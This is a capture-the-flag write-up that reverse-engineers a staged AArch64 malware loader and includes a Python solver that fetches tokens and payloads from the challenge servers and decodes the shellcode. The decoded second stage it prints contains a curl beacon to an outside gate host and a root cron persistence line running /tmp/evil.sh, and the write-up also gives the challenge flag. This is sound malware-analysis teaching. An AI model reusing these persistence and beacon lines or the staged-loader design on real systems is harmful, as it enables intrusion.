CyberGame.sk
Shifted Payload
CyberGame.SK cybergame sk, reverse engineering, malware analysis writeup covering Shifted Payload with analysis, solution steps, and final recovery notes.
1. Challenge Overview
Challenge: Shifted Payload
Category: Malware Analysis / Reverse Engineering
Points: 467
Goal: Recover the final C2 server or flag from a provided malware sample named less.
The challenge description says:
Our server was hacked. We have found the sample but not the final C2 server.
The sample is a staged malware loader. The first binary does not directly contain the final flag. Instead, it contacts a staging endpoint, receives a shifted token, decrypts a payload URL, downloads a second stage, and the second stage contains the final flag.
2. Reconnaissance and Initial Observations
Initial triage commands:
file less
strings -a less | grep -Ei 'http|payload|TracerPid|vmware|proc|cybergame'
readelf -h less
Important observations:
ELF 64-bit LSB PIE executable
Architecture: AArch64 / ARM64
Language style: Rust-like binary
Stripped: yes
Interesting strings found in the sample:
exp.cybergame.sk:7060
/proc/self/status
TracerPid
/sys/class/dmi/id/
vmware
vmtoolsd
This suggested:
-
The binary performs anti-debugging checks using
TracerPid. -
It checks for virtualization artifacts.
-
It connects to
exp.cybergame.sk:7060. -
The final C2 is not directly visible through
strings.
The first recovered token was 31 bytes:
au7Fg8cdLMnoqplhTdveiFFUEtYtt0d
Dropping the first byte produced the shifted key:
u7Fg8cdLMnoqplhTdveiFFUEtYtt0d
Using this key decrypted one payload URL:
http://51.75.170.168:7050/payload
However, that host refused connections, showing that the payload server rotates or expires. A later fresh token decrypted to another payload server, which successfully served payload.raw.
3. Technical Analysis
The malware works in multiple stages.
Stage 1: Token Fetching
The sample contacts:
exp.cybergame.sk:7060
The server returns a 31-byte token. Example:
ajvMF4kdZhtsZ287EZex9bAW6eCAOqF
The challenge name Shifted Payload hints at the important trick:
shifted_key = token[1:]
So the first byte is discarded.
Example:
raw token : ajvMF4kdZhtsZ287EZex9bAW6eCAOqF
shifted key : jvMF4kdZhtsZ287EZex9bAW6eCAOqF
Stage 2: Payload URL Decryption
The shifted key is used with a custom reversible transform. This transform uses:
-
FNV-1a 64-bit hashing
-
byte rotations
-
nibble swapping
-
deterministic byte shuffling
After decrypting embedded blobs from the binary, one blob becomes a payload URL.
Example recovered URL:
http://212.227.246.142:7050/payload
Another successful attempt recovered:
http://195.168.112.4:7050/payload
The payload server returns an 864-byte binary blob named payload.raw.
Stage 3: Second Stage Decryption
The payload is decrypted using:
stage2_key = malware_transform(CONST_KEY, shifted_key)
stage2 = malware_transform(stage2_key, payload_raw)
The result is stage2.bin, a raw AArch64 shellcode blob.
Running strings on it does not reveal the flag:
strings -a stage2.bin | grep -Ei 'SK-CERT|http|https'
No useful result appears because the strings are created at runtime using XOR obfuscation.
Stage 4: AArch64 Shellcode Analysis
Disassembling the second stage:
aarch64-linux-gnu-objdump -D -b binary -m aarch64 stage2.bin | tee stage2.asm
grep -n "svc" stage2.asm -B 15 -A 8
Important pattern:
mov x14, #0x42
ldrb w13, [x11]
eor w13, w13, w14
strb w13, [x11], #1
This shows that the second stage builds strings on the stack and XOR-decodes them using key 0x42.
The shellcode uses Linux AArch64 syscalls:
x8 = 0x38 openat
x8 = 0x40 write
x8 = 0x39 close
x8 = 0x5d exit
The disassembly confirms repeated XOR loops and syscall usage.
After decoding the stack strings, the second stage reveals:
#!/bin/bash
curl -s 'http://exp.cybergame.sk/gate?f=SK-CERT{ru57_3x3cu70r_0f_5h1f73d_p4yl04d}'
It also attempts to create persistence through a cron entry:
* * * * * root /bin/bash /tmp/evil.sh
The malware should not be executed directly. Static analysis is enough.
4. Root Cause / Vulnerability
The weakness is the malware’s reliance on reversible client-side obfuscation.
The malware tries to hide the final payload using:
-
A public staging server.
-
A shifted token.
-
A custom encryption-like transform.
-
XOR-obfuscated shellcode strings.
However, all decoding logic is inside the provided sample. Because the analyst controls the binary and can inspect the algorithm, the full chain can be reconstructed without executing the malware.
In simple terms:
The secret is hidden, but the decryption method is shipped together with the malware.
5. Exploitation Plan
The solution path:
-
Identify the binary format with
file. -
Extract useful strings with
strings. -
Find the staging endpoint
exp.cybergame.sk:7060. -
Connect to the endpoint and receive a token.
-
Drop the first byte of the token.
-
Use the shifted key to decrypt embedded blobs.
-
Recover the rotating
/payloadURL. -
Download
payload.raw. -
Decrypt
payload.rawintostage2.bin. -
Disassemble
stage2.binas raw AArch64 shellcode. -
Identify XOR
0x42string decoding. -
Emulate the shellcode string writes safely.
-
Extract the final flag from the decoded script.
6. Proof of Concept
Minimal proof that stage2 hides strings using XOR 0x42:
encoded = bytes([ord(c) ^ 0x42 for c in "/tmp/evil.sh"])
decoded = bytes(b ^ 0x42 for b in encoded)
print(decoded.decode())
Output:
/tmp/evil.sh
This is the same logic used by the second stage when it builds /tmp/evil.sh, the curl command, and the cron entry.
7. Full Python Exploit / Solver
Save this as:
solve.py
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import os
import re
import shutil
import socket
import struct
import subprocess
import sys
import time
import urllib.error
import urllib.request
from pathlib import Path
MASK = (1 << 64) - 1
FNV0 = 0xCBF29CE484222325
FNV_PRIME = 0x100000001B3
A = 0x5851F42D4C957F2D
B = 0x14057B7EF767814F
C = 0x27BB2EE687B0B0FD
D = 0x00000000B504F32D
CONST_KEY = b"8uFbH0RBziKVOBrOBKPE4ICW9qpbCM"
# Encrypted blob locations inside the provided sample.
# These offsets were recovered from static analysis of the malware binary.
BLOB_SPECS = [
(0x212370, 32, bytes([0x58, 0x2E, 0xA0])),
(0x212390, 32, b""),
(0x2123B0, 32, bytes([0x02])),
(0x2123D0, 32, bytes([0x9B])),
]
URL_RE = re.compile(rb"https?://[^\s'\"<>]+")
FLAG_RE = re.compile(rb"SK-CERT\{[^}\r\n]+\}")
def fnv1a64(data: bytes) -> int:
h = FNV0
for b in data:
h = ((h ^ b) * FNV_PRIME) & MASK
return h
def ror8(v: int, r: int) -> int:
v &= 0xFF
r &= 7
if r == 0:
return v
return ((v >> r) | ((v << (8 - r)) & 0xFF)) & 0xFF
def swap_nibbles(v: int) -> int:
return ((v >> 4) | ((v << 4) & 0xFF)) & 0xFF
def malware_transform(key: bytes, data: bytes) -> bytes:
"""
Custom reversible transform recovered from the malware.
It uses FNV-1a, deterministic shuffling, byte rotation, and nibble swapping.
"""
out = bytearray(data)
n = len(out)
if n == 0:
return b""
seed = fnv1a64(key)
x = seed
for i in range(n):
x = ((x * A + B) & MASK) ^ i
x ^= n
pairs: list[tuple[int, int]] = []
for idx in range(2 * n):
left = idx % n
x = (x * C + D) & MASK
right = ((idx + x + left) & MASK) % n
pairs.append((left, right))
for left, right in reversed(pairs):
out[left], out[right] = out[right], out[left]
x = seed
shift = 8
for i in range(n):
cur = (x >> (shift & 0x38)) & 0xFF
prev = (x >> ((shift - 8) & 0x38)) & 0xFF
val = (out[i] ^ ((cur + i) & 0xFF)) & 0xFF
val = ror8(val, prev & 7)
out[i] = swap_nibbles(val)
x = ((x * A + B) & MASK) ^ i
shift += 8
return bytes(out)
def fetch_token(host: str, port: int, timeout: float) -> bytes:
"""
Connect to the first-stage C2 and receive the shifted token.
"""
with socket.create_connection((host, port), timeout=timeout) as s:
s.settimeout(timeout)
chunks = []
while True:
try:
chunk = s.recv(4096)
except socket.timeout:
break
if not chunk:
break
chunks.append(chunk)
token = b"".join(chunks).strip()
if len(token) < 2:
raise RuntimeError(f"received invalid token: {token!r}")
return token
def extract_encrypted_blobs(binary_path: Path) -> list[bytes]:
data = binary_path.read_bytes()
blobs = []
for off, size, suffix in BLOB_SPECS:
if off + size > len(data):
raise RuntimeError(f"blob offset out of range: 0x{off:x}")
blobs.append(data[off:off + size] + suffix)
return blobs
def recover_payload_urls(binary_path: Path, shifted_key: bytes) -> list[str]:
urls: list[str] = []
for blob in extract_encrypted_blobs(binary_path):
decoded = malware_transform(shifted_key, blob)
for match in URL_RE.findall(decoded):
url = match.decode("ascii", errors="replace")
if url not in urls:
urls.append(url)
return urls
def download_payload(url: str, timeout: float) -> bytes:
req = urllib.request.Request(
url,
headers={
"User-Agent": "Mozilla/5.0",
},
)
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.read()
def decrypt_stage2(shifted_key: bytes, payload: bytes) -> bytes:
stage2_key = malware_transform(CONST_KEY, shifted_key)
return malware_transform(stage2_key, payload)
def run_objdump(stage2_path: Path) -> list[tuple[int, str]]:
objdump = shutil.which("aarch64-linux-gnu-objdump")
if not objdump:
raise RuntimeError(
"aarch64-linux-gnu-objdump not found. Install it with: "
"sudo apt install -y binutils-aarch64-linux-gnu"
)
cmd = [
objdump,
"-D",
"-b",
"binary",
"-m",
"aarch64",
str(stage2_path),
]
result = subprocess.run(cmd, capture_output=True, text=True, check=True)
instructions: list[tuple[int, str]] = []
line_re = re.compile(r"^\s*([0-9a-f]+):\s+[0-9a-f]{8}\s+(.+)$")
for line in result.stdout.splitlines():
m = line_re.match(line)
if not m:
continue
addr = int(m.group(1), 16)
asm = m.group(2).split("//", 1)[0].strip()
if asm:
instructions.append((addr, asm))
return instructions
def parse_imm(text: str) -> int:
text = text.strip()
text = text.replace("#", "")
return int(text, 0)
def emulate_stage2_writes(stage2_path: Path) -> bytes:
"""
Safely emulate only the small instruction subset needed for this shellcode.
We do not execute the malware.
We only emulate stack string construction and capture buffers passed to write().
"""
instructions = run_objdump(stage2_path)
addr_to_index = {addr: i for i, (addr, _) in enumerate(instructions)}
regs: dict[str, int] = {"sp": 0x100000}
mem: dict[int, int] = {}
writes: list[bytes] = []
zflag = False
pc = 0
def norm_reg(reg: str) -> str:
reg = reg.strip()
if reg.startswith("w") and reg[1:].isdigit():
return "x" + reg[1:]
return reg
def get_reg(reg: str) -> int:
reg = reg.strip()
if reg in ("xzr", "wzr"):
return 0
if reg.startswith("w") and reg[1:].isdigit():
return regs.get("x" + reg[1:], 0) & 0xFFFFFFFF
return regs.get(reg, 0) & MASK
def set_reg(reg: str, value: int) -> None:
reg = reg.strip()
if reg in ("xzr", "wzr"):
return
if reg.startswith("w") and reg[1:].isdigit():
regs["x" + reg[1:]] = value & 0xFFFFFFFF
else:
regs[reg] = value & MASK
def mem_write(addr: int, data: bytes) -> None:
for i, b in enumerate(data):
mem[addr + i] = b
def mem_read(addr: int, size: int) -> bytes:
return bytes(mem.get(addr + i, 0) for i in range(size))
def parse_mem_operand(op: str) -> tuple[str, int]:
"""
Supports:
[sp]
[sp, #8]
[x11]
"""
op = op.strip()
m = re.match(r"\[([a-z0-9]+)\]$", op)
if m:
return m.group(1), 0
m = re.match(r"\[([a-z0-9]+),\s*#(0x[0-9a-f]+|\d+)\]$", op)
if m:
return m.group(1), int(m.group(2), 0)
raise RuntimeError(f"unsupported memory operand: {op}")
while pc < len(instructions):
addr, asm = instructions[pc]
jumped = False
try:
# sub sp, sp, #0x10
m = re.match(r"sub\s+sp,\s*sp,\s*#(0x[0-9a-f]+|\d+)$", asm)
if m:
regs["sp"] = (regs["sp"] - int(m.group(1), 0)) & MASK
# mov x10, #0x366d
elif m := re.match(r"mov\s+([xw][0-9]+|sp),\s*#(0x[0-9a-f]+|\d+)$", asm):
set_reg(m.group(1), int(m.group(2), 0))
# mov x11, sp
# mov x19, x0
# mov x14, xzr
elif m := re.match(r"mov\s+([xw][0-9]+|sp),\s*([xw][0-9]+|sp|xzr|wzr)$", asm):
set_reg(m.group(1), get_reg(m.group(2)))
# movk x10, #0x322f, lsl #16
elif m := re.match(
r"movk\s+(x[0-9]+),\s*#(0x[0-9a-f]+|\d+),\s*lsl\s*#(\d+)$",
asm,
):
reg = m.group(1)
imm = int(m.group(2), 0)
shift = int(m.group(3), 0)
old = get_reg(reg)
mask = ~(0xFFFF << shift) & MASK
set_reg(reg, (old & mask) | ((imm & 0xFFFF) << shift))
# str x10, [sp]
# str x10, [sp, #8]
elif m := re.match(r"str\s+(x[0-9]+),\s*(\[.+\])$", asm):
src = m.group(1)
base, off = parse_mem_operand(m.group(2))
addr2 = (get_reg(base) + off) & MASK
mem_write(addr2, struct.pack("<Q", get_reg(src)))
# ldrb w13, [x11]
elif m := re.match(r"ldrb\s+(w[0-9]+),\s*(\[.+\])$", asm):
dst = m.group(1)
base, off = parse_mem_operand(m.group(2))
addr2 = (get_reg(base) + off) & MASK
set_reg(dst, mem.get(addr2, 0))
# eor w13, w13, w14
# eor x10, x14, x10
elif m := re.match(r"eor\s+([xw][0-9]+),\s*([xw][0-9]+),\s*([xw][0-9]+)$", asm):
dst, a, b = m.groups()
set_reg(dst, get_reg(a) ^ get_reg(b))
# strb w13, [x11], #1
elif m := re.match(r"strb\s+(w[0-9]+),\s*\[([x0-9]+)\],\s*#(0x[0-9a-f]+|\d+)$", asm):
src, base, inc = m.groups()
addr2 = get_reg(base)
mem[addr2] = get_reg(src) & 0xFF
set_reg(base, addr2 + int(inc, 0))
# subs x12, x12, #0x1
elif m := re.match(r"subs\s+(x[0-9]+),\s*(x[0-9]+),\s*#(0x[0-9a-f]+|\d+)$", asm):
dst, src, imm = m.groups()
value = (get_reg(src) - int(imm, 0)) & MASK
set_reg(dst, value)
zflag = value == 0
# b.ne 0x38
elif m := re.match(r"b\.ne\s+0x([0-9a-f]+)$", asm):
target = int(m.group(1), 16)
if not zflag:
pc = addr_to_index[target]
jumped = True
# svc #0x0
elif asm.startswith("svc"):
syscall = get_reg("x8")
# openat
if syscall == 56:
set_reg("x0", 3)
# write
elif syscall == 64:
buf = get_reg("x1")
size = get_reg("x2")
writes.append(mem_read(buf, size))
# close
elif syscall == 57:
pass
# exit
elif syscall == 93:
break
# Unsupported instructions are ignored only if not relevant.
else:
pass
except Exception as e:
raise RuntimeError(f"emulation failed at 0x{addr:x}: {asm}: {e}") from e
if not jumped:
pc += 1
return b"\n".join(writes)
def extract_flag(data: bytes) -> str | None:
m = FLAG_RE.search(data)
if not m:
return None
return m.group(0).decode("ascii", errors="replace")
def solve_once(args: argparse.Namespace, attempt: int) -> str | None:
binary_path = Path(args.binary)
print(f"\n=== attempt {attempt} ===")
token = fetch_token(args.host, args.port, args.timeout)
Path("stage_response.raw").write_bytes(token)
shifted_key = token[1:]
print(f"[+] raw token : {token!r}")
print(f"[+] shifted key : {shifted_key!r}")
urls = recover_payload_urls(binary_path, shifted_key)
if not urls:
print("[-] no payload URL recovered")
return None
print("[+] recovered payload URL(s):")
for url in urls:
print(f" {url}")
for url in urls:
try:
print(f"[*] downloading payload: {url}")
payload = download_payload(url, args.timeout)
Path("payload.raw").write_bytes(payload)
print(f"[+] saved payload.raw ({len(payload)} bytes)")
stage2 = decrypt_stage2(shifted_key, payload)
Path("stage2.bin").write_bytes(stage2)
print(f"[+] saved stage2.bin ({len(stage2)} bytes)")
decoded_writes = emulate_stage2_writes(Path("stage2.bin"))
Path("stage2_decoded_writes.txt").write_bytes(decoded_writes)
print("[+] decoded stage2 writes:")
print(decoded_writes.decode("utf-8", errors="replace"))
flag = extract_flag(decoded_writes)
if flag:
print(f"\n[+] FLAG: {flag}")
return flag
print("[-] no flag found in decoded stage2 writes")
except (urllib.error.URLError, TimeoutError, OSError) as e:
print(f"[!] failed with {url}: {e}")
return None
def main() -> int:
parser = argparse.ArgumentParser(
description="Solver for cybergame.sk Shifted Payload malware challenge"
)
parser.add_argument("binary", help="Path to the provided malware sample, e.g. ./less")
parser.add_argument("--host", default="exp.cybergame.sk")
parser.add_argument("--port", type=int, default=7060)
parser.add_argument("--timeout", type=float, default=6)
parser.add_argument("--attempts", type=int, default=100)
parser.add_argument("--sleep", type=float, default=2)
args = parser.parse_args()
if not Path(args.binary).is_file():
print(f"[-] binary not found: {args.binary}", file=sys.stderr)
return 1
for attempt in range(1, args.attempts + 1):
try:
flag = solve_once(args, attempt)
if flag:
return 0
except KeyboardInterrupt:
print("\n[!] stopped by user")
return 130
except Exception as e:
print(f"[!] attempt failed: {e}")
if attempt != args.attempts:
time.sleep(args.sleep)
print("[-] failed to recover flag after all attempts")
return 1
if __name__ == "__main__":
raise SystemExit(main())
8. Running the Solver
Install the AArch64 disassembler:
sudo apt update
sudo apt install -y binutils-aarch64-linux-gnu
Run the solver:
chmod +x solve.py
python3 solve.py ./less --attempts 100 --timeout 6 --sleep 2
Useful manual verification commands:
file less
strings -a less | grep -Ei 'cybergame|payload|TracerPid|vmware'
file payload.raw
file stage2.bin
aarch64-linux-gnu-objdump -D -b binary -m aarch64 stage2.bin | tee stage2.asm
grep -n "svc" stage2.asm -B 15 -A 8
9. Expected Output
Example successful output:
=== attempt 1 ===
[+] raw token : b'ajvMF4kdZhtsZ287EZex9bAW6eCAOqF'
[+] shifted key : b'jvMF4kdZhtsZ287EZex9bAW6eCAOqF'
[+] recovered payload URL(s):
http://212.227.246.142:7050/payload
[*] downloading payload: http://212.227.246.142:7050/payload
[+] saved payload.raw (864 bytes)
[+] saved stage2.bin (864 bytes)
[+] decoded stage2 writes:
#!/bin/bash
curl -s 'http://exp.cybergame.sk/gate?f=SK-CERT{ru57_3x3cu70r_0f_5h1f73d_p4yl04d}'
* * * * * root /bin/bash /tmp/evil.sh
[+] FLAG: SK-CERT{ru57_3x3cu70r_0f_5h1f73d_p4yl04d}
10. Flag
SK-CERT{ru57_3x3cu70r_0f_5h1f73d_p4yl04d}
11. Conclusion
The challenge used a staged malware chain:
AArch64 Rust ELF
↓
connects to exp.cybergame.sk:7060
↓
receives shifted token
↓
drops first byte
↓
decrypts rotating payload URL
↓
downloads payload.raw
↓
decrypts stage2.bin
↓
statically decodes XOR 0x42 shellcode strings
↓
recovers flag
The main lesson is that malware obfuscation is not the same as encryption. Once the binary contains the decoding algorithm, a reverse engineer can reproduce the logic safely and recover the hidden configuration without running the malware.